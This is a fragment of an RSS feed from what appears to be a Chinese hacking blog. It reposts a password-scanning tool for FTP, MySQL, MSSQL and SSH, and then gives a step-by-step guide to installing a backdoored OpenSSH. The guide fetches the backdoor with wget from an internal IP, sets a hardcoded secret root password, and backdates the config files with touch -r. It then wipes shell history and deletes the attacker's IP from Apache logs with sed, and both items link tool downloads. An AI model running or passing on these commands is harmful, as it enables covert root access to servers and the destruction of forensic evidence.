		<description><![CDATA[小Ablog看到的.转过来. http://www.sablog.net/blog/scanpass-ftp-mysql-mssql-ssh/ 可以扫FTP\MYSQL\MSSQL\SSH密码 比如webshell在linux下。不会在LINUX下渗透。可以试试这个。 scanpass]]></description>
			<content:encoded><![CDATA[<p>小Ablog看到的.转过来.</p>
<p><a href="http://www.sablog.net/blog/scanpass-ftp-mysql-mssql-ssh/">http://www.sablog.net/blog/scanpass-ftp-mysql-mssql-ssh/</a></p>
<p>可以扫FTP\MYSQL\MSSQL\SSH密码</p>
<p>比如webshell在linux下。不会在LINUX下渗透。可以试试这个。</p>
<p><a href="http://www.0xf3sec.org/wp-content/uploads/2010/12/scanpass.gif"><img class="alignnone size-medium wp-image-152" title="scanpass" src="http://www.0xf3sec.org/wp-content/uploads/2010/12/scanpass-231x300.gif" alt="" width="231" height="300" /></a></p>
<p><a href="http://www.0xf3sec.org/tools/scanpass.7z">scanpass</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/php%e6%89%abftpmysqlmssqlssh%e5%af%86%e7%a0%81%e7%9a%84%e8%84%9a%e6%9c%ac/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ssh后门快速安装</title>
		<link>http://www.0xf3sec.org/ssh%e5%90%8e%e9%97%a8%e5%bf%ab%e9%80%9f%e5%ae%89%e8%a3%85/</link>
		<comments>http://www.0xf3sec.org/ssh%e5%90%8e%e9%97%a8%e5%bf%ab%e9%80%9f%e5%ae%89%e8%a3%85/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 13:08:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=148</guid>
		<description><![CDATA[1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old 2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 3、下载并安装ssh后门: shell-# wget http://192.168.1.188/sshbd.tgz shell-# tar zxvf sshbd.tgz shell-# cd openssh 4、设置ssh后门的登录密码： vi versio.h #define SSH_VERSION &#8220;OpenSSH_4.2&#8243; &#8211;&#62; you&#8217;ve to edit OpenSSH_4.2 vi includes.h define _SECRET_PASSWD &#8220;test123&#8243; -&#62; edit as u wish password 5、继续安装： shell-# ./configure &#8211;prefix=/usr &#8211;sysconfdir=/etc/ssh shell-# make &#38;&#38; make install shell-# cp ssh_config sshd_config /etc/ssh/ touch [...]]]></description>
			<content:encoded><![CDATA[<p>1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old<br />
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old<br />
3、下载并安装ssh后门:<br />
shell-# wget <a href="http://192.168.1.188/sshbd.tgz" target="_blank">http://192.168.1.188/sshbd.tgz</a><br />
shell-# tar zxvf sshbd.tgz<br />
shell-# cd openssh</p>
<p>4、设置ssh后门的登录密码：<br />
vi versio.h<br />
#define SSH_VERSION &#8220;OpenSSH_4.2&#8243; &#8211;&gt; you&#8217;ve to edit OpenSSH_4.2</p>
<p>vi includes.h<br />
define _SECRET_PASSWD &#8220;test123&#8243; -&gt; edit as u wish password</p>
<p>5、继续安装：<br />
shell-# ./configure &#8211;prefix=/usr &#8211;sysconfdir=/etc/ssh<br />
shell-# make &amp;&amp; make install<br />
shell-# cp ssh_config sshd_config /etc/ssh/<br />
touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config<br />
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config<br />
shell-# /etc/init.d/sshd restart</p>
<p>6、登入后门：<br />
ssh -l root 192.168.1.188<br />
密码：test123<br />
echo &gt;/root/.bash_history //清空操作日志</p>
<p>7、清除apache日志：<br />
export HISTFILE=/dev/null<br />
export HISTSIZE=0<br />
cd /etc/httpd/logs/<br />
sed -i &#8216;/210.73.64.100/d&#8217; access_log*</p>
<p><a href="http://www.0xf3sec.org/tools/sshbd.tgz">door</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/ssh%e5%90%8e%e9%97%a8%e5%bf%ab%e9%80%9f%e5%ae%89%e8%a3%85/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

